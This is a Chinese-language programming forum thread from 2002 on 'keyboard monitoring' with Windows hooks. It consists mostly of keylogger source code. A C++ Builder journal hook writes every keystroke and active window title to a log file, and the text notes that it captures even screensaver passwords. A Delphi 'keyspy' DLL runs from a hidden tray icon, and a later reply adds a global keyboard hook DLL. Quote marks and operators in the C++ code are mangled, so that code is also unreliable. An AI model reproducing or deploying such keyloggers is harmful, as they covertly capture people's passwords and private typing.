全國最多中醫師線上諮詢網站-台灣中醫網
發文 回覆 瀏覽次數:11701
推到 Plurk!
推到 Facebook!

利用Hook技術實現鍵盤監控

 
axsoft
版主


發表:681
回覆:1056
積分:969
註冊:2002-03-13

發送簡訊給我
#1 引用回覆 回覆 發表時間:2002-07-30 11:10:48 IP:61.218.xxx.xxx 未訂閱

利用Hook技術實現鍵盤監控

作者: 東莞生益敷銅板股份有限公司 肖粵斌 ---- Hook 是WINDOWS中消息處理機制的一個要點,通過安裝各種Hook ,應用程序能夠設置相應的子例程來監視系統裡的消息傳遞以 及在這些消息到達目標窗口程序之前處理它們。鉤子的種類很多,每種鉤子可以截獲並處理相應的消息,如鍵盤鉤子可以截獲鍵盤 消息,鼠標鉤子可以截獲鼠標消息,外殼鉤子可以截獲啟動和關閉應用程序的消息,日志鉤子可以監視和記錄輸入事件。鉤子分為 線程專用鉤子和全局鉤子,線程專用鉤子只監視指定的線程,要監視系統中的所有線程,必須用到全局鉤子。對於全局鉤子,鉤子 函數必須包含在獨立的動態鏈接庫(DLL)中,這樣才能被各種相關聯的應用程序調用。在WINDOWS中,日志鉤子是個很特別的鉤子, 它只有全局鉤子一種,是鍵盤鼠標等輸入設備的消息在系統消息隊列被取出時發生的,而且系統中只能存在一個這樣的日志鉤子, 更重要是,它不必用在動態鏈接庫中,這樣可以省卻了為安裝一個全局鉤子而建立一個動態鏈接庫的麻煩。利用日志鉤子,我們 可以監視各種輸入事件,下面的示例可以用來記錄鍵盤的輸入,當有按鍵發生時,自動記錄按鍵動作的日期和時間以及當前激活 的窗口名稱。 本示例在中文WIN98,Borland C Builder4中編譯通過。 ---1.新建一個工程,在窗體FORM1中放置兩個按鈕Button1和Button2, CAPTION分別 為“安裝日志鉤子”和“卸載日志鉤子”。-- -- 2. 定義如下全局變量: HHOOK g_hLogHook=NULL; //鉤子變量 HWND g_hLastFocus=NULL; //記錄上一次得到焦點的窗口句柄 const int KeyPressMask=0x80000000; //鍵盤掩碼常量 char g_PrvChar; //保存上一次按鍵值 3.在Button1的OnClick事件中輸入: void __fastcall TFORM1::Button1Click(TObject *Sender) { if (g_hLogHook==NULL) g_hLogHook = SetWindowsHookEx (WH_JOURNALRECORD, (HOOKPROC)JournalLogProc, HInstance,0); //安裝日志鉤子 } 4.在Button2的OnClick事件中輸入: void __fastcall TFORM1::Button2Click(TObject *Sender) { if (g_hLogHook!=NULL) {UnhookWindowsHookEx(g_hLogHook); g_hLogHook=NULL; } //卸載日志鉤子 } 5.輸入鉤子回調函數: HOOKPROC JournalLogProc(int iCode, WPARAM wParam, LPARAM lParam) { if (iCode<0) return (HOOKPROC)CallNextHookEx (g_hLogHook,iCode,wParam,lParam); if (iCode="=HC_ACTION)" {EVENTMSG *pEvt="(EVENTMSG" *)lParam; int i; HWND hFocus; //保存當前活動窗口句柄 char szTitle[256]; //當前窗口名稱 char szTime[128]; //保存當前的日期和時間 FILE *stream="fopen(“c:\\logfile.txt”,"a t");" if (pEvt->message==WM_KEYDOWN) {int vKey=LOBYTE(pEvt- >paramL); // 取得虛擬鍵值 char ch; char str[10]; hFocus=GetActiveWindow(); //取得當前活動窗口句柄 if(g_hLastFocus!=hFocus) //當前活動窗口是否改變 {GetWindowText(hFocus,szTitle,256); g_hLastFocus=hFocus; strcpy(szTime,DateTimeToStr(Now()) .c_str()); //得到當前的日期時間 fprintf(stream,"%c%s%c%c%s", 10,szTime,32,32,szTitle); //寫入文件 fprintf(stream,"%c%c",32,32); } int iShift=GetKeyState(0x10); //測試SHIFT,CAPTION,NUMLOCK等鍵是否按下 int iCapital=GetKeyState(0x14); int iNumLock=GetKeyState(0x90); bool bShift=(iShift & KeyPressMask)==KeyPressMask; bool bCapital=(iCapital & 1)==1; bool bNumLock=(iNumLock & 1)==1; if (vKey >=48 && vKey<=57) // 數字0-9 if (!bShift) fprintf(stream,"%c",vKey); if (vKey>=65 && vKey<=90) // A-Z a-z {if (!bCapital) if (bShift) ch="vKey;" else ch="vKey 32;" else if (bShift) ch="vKey 32;" else ch="vKey;" fprintf(stream,"%c",ch); } if (vKey>=96 && vKey<=105) // 小鍵盤0-9 if (bNumLock) fprintf(stream,"%c",vKey-96 48); if (vKey>=186 && vKey<=222) // 其他鍵 {switch (vKey) { case 186: if (!bShift) ch=";" ; else ch=":"; break; case 187: if (!bShift) ch="=" ; else ch=" " ; break; case 188: if (!bShift) ch="," ; else ch="<" ; break; case 189: if (!bShift) ch="-" ; else ch="_" ; break; case 190: if (!bShift) ch="." ; else ch=" >" ; break; case 191: if (!bShift) ch="/" ; else ch="?" ; break; case 192:if (!bShift) ch="`" ; else ch="~" ;break; case 219:if (!bShift) ch="[" ; else ch="{" ;break; case 220:if (!bShift) ch="\\" ; else ch="│" ;break; case 221:if (!bShift) ch="]" ; else ch="}" ;break; case 222:if (!bShift) ch="\" '; else ch="\"" ;break; default:ch="n" ;break; } if (ch!="n" ) fprintf(stream,"%c",ch); } // if (wParam>=112 && wParam<=123) // 功能鍵 [F1]-[F12] if (vKey>=8 && vKey<=46) //方向鍵 {switch (vKey) { case 8:strcpy(str,"[BK]");break; case 9:strcpy(str,"[TAB]");break; case 13:strcpy(str,"[EN]");break; case 32:strcpy(str,"[SP]");break; case 33:strcpy(str,"[PU]");break; case 34:strcpy(str,"[PD]");break; case 35:strcpy(str,"[END]");break; case 36:strcpy(str,"[HOME]");break; case 37:strcpy(str,"[LF]");break; case 38:strcpy(str,"[UF]");break; case 39:strcpy(str,"[RF]");break; case 40:strcpy(str,"[DF]");break; case 45:strcpy(str,"[INS]");break; case 46:strcpy(str,"[DEL]");break; default:ch="n" ;break; } if (ch!="n" ) {if (g_PrvChar!="vKey)" {fprintf(stream,"%s",str); g_PrvChar="vKey;" } } } } if (pEvt->message==WM_LBUTTONDOWN ││ pEvt- >message==WM_RBUTTONDOWN) {hFocus=GetActiveWindow(); if (g_hLastFocus!=hFocus) {g_hLastFocus=hFocus; GetWindowText(hFocus,szTitle,256); strcpy(szTime,DateTimeToStr(Now()).c_str()); //得到當前的日期時間 fprintf(stream,"%c%s%c%c%s", 10,szTime,32,32,szTitle); //寫入文件 fprintf(stream,"%c%c",32,32); } } fclose(stream); return (HOOKPROC)CallNextHookEx (g_hLogHook,iCode,wParam,lParam); } ---- 將工程編譯執行後,每當激活一個窗口時,就會把當前窗口名稱寫入文件c:\logfile.txt中,當有按鍵時,按鍵的名稱也會 寫入此文件中,這裡的並沒有處理全部的按鍵,讀者可根據需要添加相應的語句。要捕捉鍵盤的按鍵動作,用鍵盤鉤子 (Keyboard Hook)也同樣可以實現,但是用日志鉤子卻比鍵盤鉤子要方便許多。首先,如果要捕捉其他應用程序的按鍵,即做成 全局鉤子,鍵盤鉤子一定要單獨放在動態鏈接庫中,而日志鉤子卻不必﹔其次,在鍵盤鉤子函數得到的鍵盤按鍵之前,系統已經 處理過這些輸入了,如果系統把這些按鍵屏蔽掉,鍵盤鉤子就無法檢測到它們,例如,當輸入屏幕保護程序密碼時,鍵盤鉤子無 法檢測到用戶輸入了那些字符,而日志鉤子卻可以檢測到。 ---- 無論是哪種鉤子, 都會增加系統處理消息的時間,從而降低系 統的性能,我們只有在必要的時候才安裝這些鉤子,而且 盡可能在不需要時移走它們。 //------------------------------------------------------------------------------ 這是delphi版的: 利用Hook技術實現鍵盤監控 摘自《計算機世界日報》 (文/盧立建) ----在許多系統中,出於安全或其它原因,常常要求隨時對鍵盤進行監控,一個專業的監控程序必須具備兩點,一是實時﹔二是作為指示圖標運行。實際應用中把利用Hook(即鉤子)技術編寫的應用程序添加到Windows的任務欄的指示區中就能夠很好的達到這個目的。我在參考了API幫助文檔基礎上,根據在Delphi開發環境中的具體實現分別對這兩部分進行詳細論述。 一、Hook(鉤子)的實現: Hook是應用程序在Microsoft Windows 消息處理過程中設置的用來監控消息流並且處理系統中尚未到達目的窗口的某一類型消息過程的機制。如果Hook過程在應用程序中實現,若應用程序不是當前窗口時,該Hook就不起作用﹔如果Hook在DLL中實現,程序在運行中動態調用它,它能實時對系統進行監控。根據需要,我們採用的是在DLL中實現Hook的方式。 1.新建一個導出兩個函數的DLL文件,在hookproc.pas中定義了鉤子具體實現過程。 代碼如下: library keyspy; uses windows, messages, hookproc in 'hookproc.pas'; exports setkeyhook, endkeyhook; begin nexthookproc:=0; procsaveexit:=exitproc; exitproc:=@keyhookexit; end. 2.在Hookproc.pas中實現了鉤子具體過程: unit hookproc; interface uses Windows, Messages, SysUtils, Controls, StdCtrls; var nexthookproc:hhook; procsaveexit:pointer; function keyboardhook(icode:integer;wparam:wparam;lparam:lparam):lresult; stdcall; export; function setkeyhook:bool;export;//加載鉤子 function endkeyhook:bool;export;//卸載鉤子 procedure keyhookexit; far; const afilename='c:\debug.txt';//將鍵盤輸入動作寫入文件中 var debugfile:textfile; implementation function keyboardhookhandler(icode:integer;wparam:wparam; lparam:lparam):lresult; stdcall; export; begin if icode<0 then begin result:=callnexthookex(hnexthookproc,icode,wparam,lparam); exit; end; assignfile(debugfile,afilename); append(debugfile); if getkeystate(vk_return)<0 then begin writeln(debugfile,''); write(debugfile,char(wparam)); end else write(debugfile,char(wparam)); closefile(debugfile); result:=0; end; function endkeyhook:bool; export; begin if nexthookproc<>0 then begin unhookwindowshookex(nexthookproc); nexthookproc:=0; messagebeep(0); end; result:=hnexthookproc=0; end; procedure keyhookexit; far; begin if nexthookproc<>0 then endkeyhook; exitproc:=procsaveexit; end; end. 二、Win95/98使用任務欄右方指示區來顯示應用程序或工具圖標對指示區圖標的操作涉及了一個API函數Shell_NotifyIcon,它有兩個參數,一個是指向TnotifyIconData結構的指針,另一個是要添加、刪除、改動圖標的標志。通過該函函數將應用程序的圖標添加到指示區中,使其作為圖標運行,增加專業特色。當程序起動後,用鼠標右鍵點擊圖標,則彈出一個菜單,可選擇sethook或endhook。 unit kb; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, FORMs, Dialogs, StdCtrls, Menus,shellapi; const icon_id=1; MI_iconevent=wm_user 1;//定義一個用戶消息 type TFORM1 = class(TFORM) PopupMenu1: TPopupMenu; sethook1: TMenuItem; endhook1: TMenuItem; N1: TMenuItem; About1: TMenuItem; Close1: TMenuItem; Gettext1: TMenuItem; procedure FORMCreate(Sender: TObject); procedure sethook1Click(Sender: TObject); procedure endhook1Click(Sender: TObject); procedure FORMDestroy(Sender: TObject); procedure Close1Click(Sender: TObject); private { Private declarations } nid:tnotifyicondata; normalicon:ticon; public { Public declarations } procedure icontray(var msg:tmessage); message mi_iconevent; end; var FORM1: TFORM1; implementation {$R *.DFM} function setkeyhook:bool; external 'keyspy.dll'; function endkeyhook:bool; external 'keyspy.dll'; procedure tFORM1.icontray(var msg:tmessage); var pt:tpoint; begin if msg.lparam=wm_lbuttondown then sethook1click(self); if msg.LParam=wm_rbuttondown then begin getcursorpos(pt); setforegroundwindow(handle); popupmenu1.popup(pt.x,pt.y); end; end; procedure TFORM1.FORMCreate(Sender: TObject); begin normalicon:=ticon.create; application.title:=caption; nid.cbsize:=sizeof(nid); nid.wnd:=handle; nid.uid:=icon_id; nid.uflags:=nif_icon or nif_message or nif_tip; nid.ucallbackmessage:=mi_iconevent; nid.hIcon :=normalicon.handle; strcopy(nid.sztip,pchar(caption)); nid.uFlags:=nif_message or nif_icon or nif_tip; shell_notifyicon(nim_add,@nid); SetWindowLong(Application.Handle, GWL_EXSTYLE,WS_EX_TOOLWINDOW); end; procedure TFORM1.sethook1Click(Sender: TObject); begin setkeyhook; end; procedure TFORM1.endhook1Click(Sender: TObject); begin endkeyhook; end; procedure TFORM1.FORMDestroy(Sender: TObject); begin nid.uFlags :=0; shell_notifyicon(nim_delete,@nid); end; procedure TFORM1.Close1Click(Sender: TObject); begin application.terminate; end; 該程序雖然只用了幾個shellai函數,但是它涉及到了在Delphi中對DLL的引用、鉤子實現、對指示區的操作、用戶定義消息的處理、文件的讀寫等比較重要的內容,我相信這篇文章能對許多Delphi的初學者有所幫助。 該程序在Win98、Delphi4.0中正常運行。 時間就是金錢---[ 發問前請先找找舊文章]
monjon
一般會員


發表:1
回覆:3
積分:0
註冊:2002-08-17

發送簡訊給我
#2 引用回覆 回覆 發表時間:2002-08-17 20:41:52 IP:61.225.xxx.xxx 未訂閱
BC++5.0+WIN2000中不能編譯耶 出現一堆錯誤訊息
引言:

利用Hook技術實現鍵盤監控

作者: 東莞生益敷銅板股份有限公司 肖粵斌 ---- Hook 是WINDOWS中消息處理機制的一個要點,通過安裝各種Hook ,應用程序能夠設置相應的子例程來監視系統裡的消息傳遞以 及在這些消息到達目標窗口程序之前處理它們。鉤子的種類很多,每種鉤子可以截獲並處理相應的消息,如鍵盤鉤子可以截獲鍵盤 消息,鼠標鉤子可以截獲鼠標消息,外殼鉤子可以截獲啟動和關閉應用程序的消息,日志鉤子可以監視和記錄輸入事件。鉤子分為 線程專用鉤子和全局鉤子,線程專用鉤子只監視指定的線程,要監視系統中的所有線程,必須用到全局鉤子。對於全局鉤子,鉤子 函數必須包含在獨立的動態鏈接庫(DLL)中,這樣才能被各種相關聯的應用程序調用。在WINDOWS中,日志鉤子是個很特別的鉤子, 它只有全局鉤子一種,是鍵盤鼠標等輸入設備的消息在系統消息隊列被取出時發生的,而且系統中只能存在一個這樣的日志鉤子, 更重要是,它不必用在動態鏈接庫中,這樣可以省卻了為安裝一個全局鉤子而建立一個動態鏈接庫的麻煩。利用日志鉤子,我們 可以監視各種輸入事件,下面的示例可以用來記錄鍵盤的輸入,當有按鍵發生時,自動記錄按鍵動作的日期和時間以及當前激活 的窗口名稱。 本示例在中文WIN98,Borland C Builder4中編譯通過。 ---1.新建一個工程,在窗體FORM1中放置兩個按鈕Button1和Button2, CAPTION分別 為“安裝日志鉤子”和“卸載日志鉤子”。-- -- 2. 定義如下全局變量: HHOOK g_hLogHook=NULL; //鉤子變量 HWND g_hLastFocus=NULL; //記錄上一次得到焦點的窗口句柄 const int KeyPressMask=0x80000000; //鍵盤掩碼常量 char g_PrvChar; //保存上一次按鍵值 3.在Button1的OnClick事件中輸入: void __fastcall TFORM1::Button1Click(TObject *Sender) { if (g_hLogHook==NULL) g_hLogHook = SetWindowsHookEx (WH_JOURNALRECORD, (HOOKPROC)JournalLogProc, HInstance,0); //安裝日志鉤子 } 4.在Button2的OnClick事件中輸入: void __fastcall TFORM1::Button2Click(TObject *Sender) { if (g_hLogHook!=NULL) {UnhookWindowsHookEx(g_hLogHook); g_hLogHook=NULL; } //卸載日志鉤子 } 5.輸入鉤子回調函數: HOOKPROC JournalLogProc(int iCode, WPARAM wParam, LPARAM lParam) { if (iCode<0) return (HOOKPROC)CallNextHookEx (g_hLogHook,iCode,wParam,lParam); if (iCode="=HC_ACTION)" {EVENTMSG *pEvt="(EVENTMSG" *)lParam; int i; HWND hFocus; //保存當前活動窗口句柄 char szTitle[256]; //當前窗口名稱 char szTime[128]; //保存當前的日期和時間 FILE *stream="fopen(“c:\\logfile.txt”,"a t");" if (pEvt->message==WM_KEYDOWN) {int vKey=LOBYTE(pEvt- >paramL); // 取得虛擬鍵值 char ch; char str[10]; hFocus=GetActiveWindow(); //取得當前活動窗口句柄 if(g_hLastFocus!=hFocus) //當前活動窗口是否改變 {GetWindowText(hFocus,szTitle,256); g_hLastFocus=hFocus; strcpy(szTime,DateTimeToStr(Now()) .c_str()); //得到當前的日期時間 fprintf(stream,"%c%s%c%c%s", 10,szTime,32,32,szTitle); //寫入文件 fprintf(stream,"%c%c",32,32); } int iShift=GetKeyState(0x10); //測試SHIFT,CAPTION,NUMLOCK等鍵是否按下 int iCapital=GetKeyState(0x14); int iNumLock=GetKeyState(0x90); bool bShift=(iShift & KeyPressMask)==KeyPressMask; bool bCapital=(iCapital & 1)==1; bool bNumLock=(iNumLock & 1)==1; if (vKey >=48 && vKey<=57) // 數字0-9 if (!bShift) fprintf(stream,"%c",vKey); if (vKey>=65 && vKey<=90) // A-Z a-z {if (!bCapital) if (bShift) ch="vKey;" else ch="vKey 32;" else if (bShift) ch="vKey 32;" else ch="vKey;" fprintf(stream,"%c",ch); } if (vKey>=96 && vKey<=105) // 小鍵盤0-9 if (bNumLock) fprintf(stream,"%c",vKey-96 48); if (vKey>=186 && vKey<=222) // 其他鍵 {switch (vKey) { case 186: if (!bShift) ch=";" ; else ch=":"; break; case 187: if (!bShift) ch="=" ; else ch=" " ; break; case 188: if (!bShift) ch="," ; else ch="<" ; break; case 189: if (!bShift) ch="-" ; else ch="_" ; break; case 190: if (!bShift) ch="." ; else ch=" >" ; break; case 191: if (!bShift) ch="/" ; else ch="?" ; break; case 192:if (!bShift) ch="`" ; else ch="~" ;break; case 219:if (!bShift) ch="[" ; else ch="{" ;break; case 220:if (!bShift) ch="\\" ; else ch="│" ;break; case 221:if (!bShift) ch="]" ; else ch="}" ;break; case 222:if (!bShift) ch="\" '; else ch="\"" ;break; default:ch="n" ;break; } if (ch!="n" ) fprintf(stream,"%c",ch); } // if (wParam>=112 && wParam<=123) // 功能鍵 [F1]-[F12] if (vKey>=8 && vKey<=46) //方向鍵 {switch (vKey) { case 8:strcpy(str,"[BK]");break; case 9:strcpy(str,"[TAB]");break; case 13:strcpy(str,"[EN]");break; case 32:strcpy(str,"[SP]");break; case 33:strcpy(str,"[PU]");break; case 34:strcpy(str,"[PD]");break; case 35:strcpy(str,"[END]");break; case 36:strcpy(str,"[HOME]");break; case 37:strcpy(str,"[LF]");break; case 38:strcpy(str,"[UF]");break; case 39:strcpy(str,"[RF]");break; case 40:strcpy(str,"[DF]");break; case 45:strcpy(str,"[INS]");break; case 46:strcpy(str,"[DEL]");break; default:ch="n" ;break; } if (ch!="n" ) {if (g_PrvChar!="vKey)" {fprintf(stream,"%s",str); g_PrvChar="vKey;" } } } } if (pEvt->message==WM_LBUTTONDOWN ││ pEvt- >message==WM_RBUTTONDOWN) {hFocus=GetActiveWindow(); if (g_hLastFocus!=hFocus) {g_hLastFocus=hFocus; GetWindowText(hFocus,szTitle,256); strcpy(szTime,DateTimeToStr(Now()).c_str()); //得到當前的日期時間 fprintf(stream,"%c%s%c%c%s", 10,szTime,32,32,szTitle); //寫入文件 fprintf(stream,"%c%c",32,32); } } fclose(stream); return (HOOKPROC)CallNextHookEx (g_hLogHook,iCode,wParam,lParam); } ---- 將工程編譯執行後,每當激活一個窗口時,就會把當前窗口名稱寫入文件c:\logfile.txt中,當有按鍵時,按鍵的名稱也會 寫入此文件中,這裡的並沒有處理全部的按鍵,讀者可根據需要添加相應的語句。要捕捉鍵盤的按鍵動作,用鍵盤鉤子 (Keyboard Hook)也同樣可以實現,但是用日志鉤子卻比鍵盤鉤子要方便許多。首先,如果要捕捉其他應用程序的按鍵,即做成 全局鉤子,鍵盤鉤子一定要單獨放在動態鏈接庫中,而日志鉤子卻不必﹔其次,在鍵盤鉤子函數得到的鍵盤按鍵之前,系統已經 處理過這些輸入了,如果系統把這些按鍵屏蔽掉,鍵盤鉤子就無法檢測到它們,例如,當輸入屏幕保護程序密碼時,鍵盤鉤子無 法檢測到用戶輸入了那些字符,而日志鉤子卻可以檢測到。 ---- 無論是哪種鉤子, 都會增加系統處理消息的時間,從而降低系 統的性能,我們只有在必要的時候才安裝這些鉤子,而且 盡可能在不需要時移走它們。 //------------------------------------------------------------------------------ 這是delphi版的: 利用Hook技術實現鍵盤監控 摘自《計算機世界日報》 (文/盧立建) ----在許多系統中,出於安全或其它原因,常常要求隨時對鍵盤進行監控,一個專業的監控程序必須具備兩點,一是實時﹔二是作為指示圖標運行。實際應用中把利用Hook(即鉤子)技術編寫的應用程序添加到Windows的任務欄的指示區中就能夠很好的達到這個目的。我在參考了API幫助文檔基礎上,根據在Delphi開發環境中的具體實現分別對這兩部分進行詳細論述。 一、Hook(鉤子)的實現: Hook是應用程序在Microsoft Windows 消息處理過程中設置的用來監控消息流並且處理系統中尚未到達目的窗口的某一類型消息過程的機制。如果Hook過程在應用程序中實現,若應用程序不是當前窗口時,該Hook就不起作用﹔如果Hook在DLL中實現,程序在運行中動態調用它,它能實時對系統進行監控。根據需要,我們採用的是在DLL中實現Hook的方式。 1.新建一個導出兩個函數的DLL文件,在hookproc.pas中定義了鉤子具體實現過程。 代碼如下: library keyspy; uses windows, messages, hookproc in 'hookproc.pas'; exports setkeyhook, endkeyhook; begin nexthookproc:=0; procsaveexit:=exitproc; exitproc:=@keyhookexit; end. 2.在Hookproc.pas中實現了鉤子具體過程: unit hookproc; interface uses Windows, Messages, SysUtils, Controls, StdCtrls; var nexthookproc:hhook; procsaveexit:pointer; function keyboardhook(icode:integer;wparam:wparam;lparam:lparam):lresult; stdcall; export; function setkeyhook:bool;export;//加載鉤子 function endkeyhook:bool;export;//卸載鉤子 procedure keyhookexit; far; const afilename='c:\debug.txt';//將鍵盤輸入動作寫入文件中 var debugfile:textfile; implementation function keyboardhookhandler(icode:integer;wparam:wparam; lparam:lparam):lresult; stdcall; export; begin if icode<0 then begin result:=callnexthookex(hnexthookproc,icode,wparam,lparam); exit; end; assignfile(debugfile,afilename); append(debugfile); if getkeystate(vk_return)<0 then begin writeln(debugfile,''); write(debugfile,char(wparam)); end else write(debugfile,char(wparam)); closefile(debugfile); result:=0; end; function endkeyhook:bool; export; begin if nexthookproc<>0 then begin unhookwindowshookex(nexthookproc); nexthookproc:=0; messagebeep(0); end; result:=hnexthookproc=0; end; procedure keyhookexit; far; begin if nexthookproc<>0 then endkeyhook; exitproc:=procsaveexit; end; end. 二、Win95/98使用任務欄右方指示區來顯示應用程序或工具圖標對指示區圖標的操作涉及了一個API函數Shell_NotifyIcon,它有兩個參數,一個是指向TnotifyIconData結構的指針,另一個是要添加、刪除、改動圖標的標志。通過該函函數將應用程序的圖標添加到指示區中,使其作為圖標運行,增加專業特色。當程序起動後,用鼠標右鍵點擊圖標,則彈出一個菜單,可選擇sethook或endhook。 unit kb; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, FORMs, Dialogs, StdCtrls, Menus,shellapi; const icon_id=1; MI_iconevent=wm_user 1;//定義一個用戶消息 type TFORM1 = class(TFORM) PopupMenu1: TPopupMenu; sethook1: TMenuItem; endhook1: TMenuItem; N1: TMenuItem; About1: TMenuItem; Close1: TMenuItem; Gettext1: TMenuItem; procedure FORMCreate(Sender: TObject); procedure sethook1Click(Sender: TObject); procedure endhook1Click(Sender: TObject); procedure FORMDestroy(Sender: TObject); procedure Close1Click(Sender: TObject); private { Private declarations } nid:tnotifyicondata; normalicon:ticon; public { Public declarations } procedure icontray(var msg:tmessage); message mi_iconevent; end; var FORM1: TFORM1; implementation {$R *.DFM} function setkeyhook:bool; external 'keyspy.dll'; function endkeyhook:bool; external 'keyspy.dll'; procedure tFORM1.icontray(var msg:tmessage); var pt:tpoint; begin if msg.lparam=wm_lbuttondown then sethook1click(self); if msg.LParam=wm_rbuttondown then begin getcursorpos(pt); setforegroundwindow(handle); popupmenu1.popup(pt.x,pt.y); end; end; procedure TFORM1.FORMCreate(Sender: TObject); begin normalicon:=ticon.create; application.title:=caption; nid.cbsize:=sizeof(nid); nid.wnd:=handle; nid.uid:=icon_id; nid.uflags:=nif_icon or nif_message or nif_tip; nid.ucallbackmessage:=mi_iconevent; nid.hIcon :=normalicon.handle; strcopy(nid.sztip,pchar(caption)); nid.uFlags:=nif_message or nif_icon or nif_tip; shell_notifyicon(nim_add,@nid); SetWindowLong(Application.Handle, GWL_EXSTYLE,WS_EX_TOOLWINDOW); end; procedure TFORM1.sethook1Click(Sender: TObject); begin setkeyhook; end; procedure TFORM1.endhook1Click(Sender: TObject); begin endkeyhook; end; procedure TFORM1.FORMDestroy(Sender: TObject); begin nid.uFlags :=0; shell_notifyicon(nim_delete,@nid); end; procedure TFORM1.Close1Click(Sender: TObject); begin application.terminate; end; 該程序雖然只用了幾個shellai函數,但是它涉及到了在Delphi中對DLL的引用、鉤子實現、對指示區的操作、用戶定義消息的處理、文件的讀寫等比較重要的內容,我相信這篇文章能對許多Delphi的初學者有所幫助。 該程序在Win98、Delphi4.0中正常運行。 時間就是金錢---[ 發問前請先找找舊文章]
axsoft
版主


發表:681
回覆:1056
積分:969
註冊:2002-03-13

發送簡訊給我
#3 引用回覆 回覆 發表時間:2002-08-19 09:00:50 IP:61.218.xxx.xxx 未訂閱
引言: BC 5.0 WIN2000中不能編譯耶 出現一堆錯誤訊息
可否將您的錯誤訊息列出!還有專案檔中Include了哪些檔案! 聯盟----Visita網站http://www.vista.org.tw ---[ 發問前請先找找舊文章 ]---
Cooky Kid
初階會員


發表:5
回覆:68
積分:44
註冊:2002-07-11

發送簡訊給我
#4 引用回覆 回覆 發表時間:2002-10-25 17:52:51 IP:210.58.xxx.xxx 未訂閱
在台灣, 關於BCB的鍵盤hook也已經有實例了, 改一改就可以錯亂送出的鍵盤字元, 以下是經作者認可的實例/文魁 enjoy it!!! Hook_WH_KEYBOARD LRESULT CALLBACK KeyboardProc( int code, WPARAM wParam, LPARAM lParam ); 功能簡易說明:攔截系統所有的鍵盤訊息 實作範例 (1)目的: 掛上、卸下攔截系統所有的鍵盤訊息,並運用自訂訊息傳遞hook資料 DLL 程式碼 (mydll.cpp) #01 //--------------------------------------------------------------------------- #02 //掛上、卸下Keyboard hook,並運用自訂訊息傳遞hook資料 #03 //--------------------------------------------------------------------------- #04 #include //原有BCB 標頭檔 #05 #include // 原有window 標頭檔 #06 #pragma hdrstop #07 #pragma argsused #08 //自訂的鍵盤訊息,與執行檔TKeyHookForm中自訂的鍵盤訊息相互對應 #09 const int WM_KEYHOOK = WM_USER 100; #10 //--------------------------------------------------------------------------- #11 //DLL的固定宣告 #12 HHOOK hHook;//掛上的hook handle #13 HWND hAppWnd;//執行此dll的特定exe程式handle__"TKeyHookForm" #14 HINSTANCE inst;//連接檔的模組handle,固定行程 #15 //--------------------------------------------------------------------------- #16 //符合以C語言編譯的DLL輸出函式 #17 extern "C" { #18 __declspec(dllexport) __stdcall void SetHook(void); #19 __declspec(dllexport) __stdcall void RemoveHook(void); #20 } #21 //--------------------------------------------------------------------------- #22 //重載的KeyboardProc函式,持續送出鍵盤全域訊息 #23 LRESULT CALLBACK KeyboardProc(int, WPARAM, LPARAM); #24 //--------------------------------------------------------------------------- #25 //DLL的建構式&解構式 #26 int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void*) #27 { #28 inst = hinst; #29 //當此DLL被呼叫or結束 #30 switch (reason) #31 { #32 case DLL_PROCESS_ATTACH ://此DLL建構式 #33 //取得執行此dll的特定程式handle #34 hAppWnd = ::FindWindow("TKeyHookForm", 0); #35 break; #36 #37 case DLL_PROCESS_DETACH://此DLL解構式 #38 break; #39 #40 case DLL_THREAD_ATTACH: //此DLL多緒建構式 #41 break; #42 #43 case DLL_THREAD_DETACH: //此DLL多緒解構式 #44 break; #45 } #46 return 1; #47 } #48 //--------------------------------------------------------------------------- #49 //注射自訂hook到hook鏈中 #50 void __stdcall SetHook(void) #51 {//若Hook尚未掛上訊息鏈中,則將本滑鼠訊息dll注射至hook鏈中 #52 if(hHook == NULL) #53 { #54 hHook = ::SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardProc, inst, 0); #55 //顯示是否掛上hook,測試用! #56 if(hHook == NULL) #57 MessageBox(NULL, "Sorry! 無法掛上Hook。", "Hook DLL", MB_OK); #58 else #59 ::TextOut(GetDC(0),10,10,"掛上Hook。",10); #60 } #61 } #62 //--------------------------------------------------------------------------- #63 //在hook鏈中,解除自訂的hook #64 void __stdcall RemoveHook(void) #65 {//若Hook已經掛上訊息鏈,則卸下此Hook訊息 #66 if(hHook != NULL) #67 { #68 if(::UnhookWindowsHookEx(hHook) != FALSE) #69 { #70 hHook = NULL; #71 ::TextOut(GetDC(0),50,10,"釋放Hook。",10); #72 } #73 else //測試用! #74 MessageBox(NULL, "Sorry! 無法釋放Hook。", "Hook DLL", MB_OK); #75 } #76 else //測試用! #77 ::TextOut(GetDC(0),80,10,"Hook isn't NULL",16); #78 } #79 //--------------------------------------------------------------------------- #80 //重載的KeyboardProc函式,持續送出鍵盤全域訊息 #81 LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) #82 { #83 //若未掛上Hook鏈或鍵盤無訊息輸出,就交予下一hook鏈 #84 if((nCode < 0) || nCode == HC_NOREMOVE) #85 return ::CallNextHookEx(hHook, nCode, wParam, lParam); #86 //若訊息重複,則跳至下一hook鏈 #87 if(lParam & 0x40000000) #88 return ::CallNextHookEx(hHook, nCode, wParam, lParam); #89 //若在DLL建構式中,取得執行此dll的特定程式handle,即送出自訂鍵盤訊息 #90 if(hAppWnd != NULL) #91 SendMessage(hAppWnd, WM_KEYHOOK, wParam, lParam); #92 #93 return ::CallNextHookEx(hHook, nCode, wParam, lParam); #94 } #95 //--------------------------------------------------------------------------- EXE 程式碼 (Unit1.h & Unit1.cpp): Unit1.h #01 //--------------------------------------------------------------------------- #02 #ifndef Unit1H #03 #define Unit1H #04 //--------------------------------------------------------------------------- #05 #include #06 #include #07 #include #08 #include <Forms.hpp> #09 #include #10 #include #11 //--------------------------------------------------------------------------- #12 //自訂的鍵盤訊息,與keydll.dll中自訂的鍵盤訊息相互對應 #13 const int WM_KEYHOOK = WM_USER 100; #14 //--------------------------------------------------------------------------- #15 class TKeyHookForm : public TForm #16 { #17 __published: // IDE-managed Components #18 TToolBar *ToolBar1; #19 TButton *Button1; #20 TButton *Button2; #21 TListBox *ListBox1; #22 void __fastcall Button1Click(TObject *Sender); #23 void __fastcall Button2Click(TObject *Sender); #24 void __fastcall FormClose(TObject *Sender, TCloseAction &Action); #25 private: // User declarations #26 HINSTANCE inst; //指向鍵盤hook結構 #27 int inthook; //遞增變數--計算按鍵次數 #28 public: // User declarations #29 